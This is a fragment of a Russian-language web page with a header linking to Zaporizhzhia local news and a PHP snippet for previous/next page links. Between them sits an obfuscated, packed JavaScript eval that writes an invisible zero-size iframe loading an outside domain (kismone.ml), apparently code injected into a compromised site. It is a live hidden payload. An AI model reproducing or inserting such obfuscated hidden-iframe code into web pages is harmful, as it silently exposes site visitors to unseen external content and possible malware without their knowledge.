<div class="unit-rubric__headdd"><h3 id="unit-rubric__title"><b><a href="http://iz.com.ua/zaporoje/" title="Основные события нашего города" >Интересное в Запорожье</a></b></h3></div>

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eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('2.6(\'<1 4="8://a.c/" e=0 3=0 5="7" 9=0 b=0 d=0 f=g></1>\');',17,17,'|iframe|document|height|src|style|write|hidden|http|frameborder|kismone|marg
inheight|ml|marginwidth|width|scrolling|no'.split('|'),0,{}))

<?php
$cururl=$_SERVER['REQUEST_URI'];
preg_match('#/(.+?).#is', $cururl, $curpage);
    $curpage = $curpage[1];
$prevurl=$curpage-1.".html";
$nexturl=$curpage+1.".html";
echo "<a href=\"$prevurl\">Пред</a> || <a href=\"$nexturl\">След</a>";
?>